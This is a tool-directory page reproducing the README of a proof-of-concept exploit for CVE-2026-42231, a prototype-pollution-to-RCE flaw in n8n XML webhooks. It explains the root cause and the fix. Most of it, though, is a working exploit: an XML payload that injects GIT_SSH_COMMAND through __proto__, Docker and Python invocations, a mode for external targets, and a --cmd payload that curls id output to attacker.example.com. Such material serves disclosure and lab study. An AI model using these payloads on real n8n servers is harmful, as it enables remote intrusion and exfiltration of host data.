Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/rudsarkar/cve-2026-42231
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Proof-of-concept exploit for CVE-2026-42231, a critical prototype pollution vulnerability in n8n XML webhooks leading to remote code execution. Includes Docker lab, Python PoC, and Node.js verifier.

View Repository
144 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook Prototype Pollution → RCE

CVE: CVE-2026-42231
Severity: Critical (CVSS 10.0)
Affected: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Fixed in: n8n 1.123.32 / 2.17.4 / 2.18.1


Vulnerability Summary

packages/cli/src/middlewares/body-parser.ts creates a module-level singleton xml2js Parser without tagNameProcessors or attrNameProcessors. This allows an attacker to send an XML webhook body containing a <__proto__> element.

xml2js 0.6.2 uses Object.defineProperty with a data descriptor to set element keys on parsed objects. Because '__proto__' in obj is always true, assignOrPush() wraps the value in an array and stores it as an own enumerable data property — bypassing the [[Set]] accessor that would normally update the prototype chain safely.

The own __proto__ property survives JSON.stringify (executed when n8n persists execution data to SQLite/PostgreSQL), and after JSON.parse on reload a subsequent Object.assign(target, reloadedBody) reroutes target's prototype to the attacker-controlled object.

In workflows that also contain a Git node performing an SSH operation, the polluted prototype exposes a spawnOptions / GIT_SSH_COMMAND value to simple-git's createInstanceConfig, enabling OS-level command execution.


Root Cause

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // lowercases tags — but does NOT block __proto__
    explicitArray: false,
    // ← NO tagNameProcessors
    // ← NO attrNameProcessors
});

Fix (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Exploitation Chain

root@kitploit:~
1. Attacker sends XML POST to a public Webhook trigger:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js body parser creates req.body.root where '__proto__' is an
   OWN ENUMERABLE DATA PROPERTY:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp.
   The assignment  clone['__proto__'] = deepCopy(attackerArray)
   silently replaces clone's prototype via the [[Set]] accessor.

4. n8n serialises execution data to DB:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   The __proto__ key is included because it is own and enumerable.
   Confirmed in the execution_data table in SQLite.

5. On reload, JSON.parse recreates '__proto__' as an own data property
   (plain object, no array wrapping).
      Object.assign(gitOptions, reloadedBody)
   reroutes gitOptions's prototype to the attacker-controlled object.

6. When the Git node calls simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   reads config.spawnOptions via the prototype chain → truthy →
   spawnOptionsPlugin is registered.
   With GIT_SSH_COMMAND in the env object, git executes the attacker's
   command on the next SSH operation.

Note on normalizeTags

normalizeTags: true lowercases all XML tag names, so child elements like <GIT_SSH_COMMAND> become git_ssh_command in the parsed object. To preserve case for environment variable names, use XML attributes (attribute names are not normalised by normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Pre-requisites

  1. A public Webhook trigger (Authentication = None, Content-Type = XML) must exist in an active workflow.
  2. For the full RCE path, the workflow must also contain a Git node performing an SSH-authenticated operation (clone / push via SSH URL).
  3. n8n version < 1.123.32.

Lab Setup

Requirements

  • Docker ≥ 24 with Compose v2
  • Python 3.9+ (for standalone use of the PoC without Docker)
  • Port 5678 free on localhost

One-command setup

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

This pulls n8nio/n8n:1.123.22 (last affected release), builds the attacker image, starts the vulnerable target at http://localhost:5678, creates and activates a webhook workflow automatically, and saves the webhook URL to .webhook_state.


End-to-End Exploit Walkthrough

1. Setup

root@kitploit:~
./exploit.sh setup

Expected output (truncated):

root@kitploit:~
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.

    Run:  ./exploit.sh demo        # verify the pollution primitive
          ./exploit.sh exploit     # deliver all three RCE payloads

2. Verify the pollution primitive (demo mode)

root@kitploit:~
./exploit.sh demo

The PoC sends a verification payload and shows the parsed body echoed back from the n8n workflow. A vulnerable instance returns:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Deliver RCE-intent payloads

root@kitploit:~
./exploit.sh exploit
# or with a custom command:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Three complementary payloads are delivered:

PayloadTechnique
A<__proto__> tag — as XML attribute

4. Observe the result (with Git node in workflow)

  • In the n8n execution log, look for the git command error — it will include output from your injected GIT_SSH_COMMAND if RCE fired.
  • In demo mode with the Code node, the workflow response body will contain "step4_objectAssignPolluted": true confirming the chain.

Standalone Usage (without Docker)

root@kitploit:~
pip install -r requirements.txt

# Verify only — no Git node required:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# Full exploit — requires Webhook + Git/SSH node workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Webhook URL format (n8n v1.123.x)

In some deployments n8n registers the webhook as /webhook/<workflowId>/webhook/<path>. If the short form /webhook/<path> returns 404, pass the workflow-ID prefix as --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

Local Verification (Node.js, no live instance needed)

Reproduces the exact xml2js parser config used by n8n and steps through all four chain stages:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Expected output on vulnerable config:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

Manual Docker Commands

root@kitploit:~
# Build the attacker image
docker build -t n8n-proto-pollution-poc .

# Demo mode (attaches to the shared lab network)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Full exploit
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Against an external target (no network flag needed)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

Cleanup

root@kitploit:~
./exploit.sh clean

Stops containers and removes volumes (including the SQLite database).


Files


References

  • GHSA-q5f4-99jv-pgg5
  • n8n release 1.123.32 changelog
  • xml2js assignOrPush — Object.defineProperty data descriptor
  • Prototype Pollution via Object.defineProperty
Download Tool
GIT_SSH_COMMAND
B<constructor><prototype> chain
CNested <__proto__> with env attributes
FileDescription
poc_GHSA-q5f4-99jv-pgg5.pyStandalone Python HTTP PoC — three XML payload variants, --demo and --cmd modes
verify_GHSA-q5f4-99jv-pgg5.jsNode.js local chain verifier — steps through all 4 exploitation stages without a live instance
DockerfileAttacker container image
docker-compose.ymlFull lab: vulnerable n8n + attacker container
exploit.shHelper script for setup, demo, exploit, and cleanup
requirements.txtPython dependencies